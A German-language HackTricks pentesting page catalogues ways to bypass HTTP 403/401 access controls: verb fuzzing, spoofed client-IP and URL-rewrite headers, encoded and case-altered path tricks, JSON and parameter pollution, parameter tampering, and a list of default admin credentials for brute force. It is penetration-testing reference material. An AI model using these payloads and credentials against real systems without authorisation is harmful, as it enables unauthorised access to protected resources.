hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.7 KiB
Raw Blame History

403 & 401 Bypasses

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

HTTP Verbs/Methods Fuzzing

Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55, dass das HEAD-Verb auf die Info zugreifen kann. Aber Sie müssen immer noch einen Weg finden, um diese Info zu exfiltrieren.
  • Die Verwendung eines HTTP-Headers wie X-HTTP-Method-Override: PUT kann das verwendete Verb überschreiben.
  • Verwenden Sie das TRACE-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die von Zwischenproxies hinzugefügten Header sehen, die nützlich sein könnten.

HTTP Headers Fuzzing

  • Ändern Sie den Host-Header auf einen beliebigen Wert (das hat hier funktioniert)

  • Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.

  • Fuzz HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool fuzzhttpbypass erstellt.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Wenn die Seite hinter einem Proxy ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, HTTP Request Smuggling oder Hop-by-Hop-Header** auszunutzen.**
  • Fuzz spezielle HTTP-Header auf der Suche nach unterschiedlichen Antworten.
  • Fuzz spezielle HTTP-Header, während Sie HTTP-Methoden fuzzing.
  • Entfernen Sie den Host-Header, und vielleicht können Sie den Schutz umgehen.

Path Fuzzing

Wenn /path blockiert ist:

  • Versuchen Sie, /%2e/path _ (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/path (doppelte URL-Codierung)
  • Versuchen Sie Unicode-Bypass: /%ef%bc%8fpath (Die URL-codierten Zeichen sind wie "/"), sodass beim Zurückcodieren es //path sein wird und Sie möglicherweise bereits die /path-Namensüberprüfung umgangen haben.
  • Andere Pfad-Bypässe:
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Verwenden Sie alle diese Liste in den folgenden Situationen:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Andere API-Bypässe:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorisiert
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorisiert
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Ändern Sie den Parametervalue: Von id=123 --> id=124
  • Fügen Sie zusätzliche Parameter zur URL hinzu: ?id=124 —-> id=124&isAdmin=true
  • Entfernen Sie die Parameter
  • Ändern Sie die Reihenfolge der Parameter
  • Verwenden Sie Sonderzeichen.
  • Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie -234 oder 0 oder 99999999 (nur einige Beispielwerte) an.

Protokollversion

Wenn Sie HTTP/1.1 verwenden, versuchen Sie, 1.0 zu verwenden oder testen Sie, ob es 2.0 unterstützt.

Andere Bypässe

  • Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, sie direkt zu kontaktieren.
  • Versuchen Sie, den Server zu belasten, indem Sie gängige GET-Anfragen senden (es hat für diesen Typen mit Facebook funktioniert).
  • Ändern Sie das Protokoll: von http zu https oder von https zu http
  • Gehen Sie zu https://archive.org/web/ und überprüfen Sie, ob die Datei in der Vergangenheit weltweit zugänglich war.

Brute Force

  • Raten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
  • Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.

{% code title="Common creds" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Automatische Werkzeuge

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Werkzeugen und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Werkzeuge, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}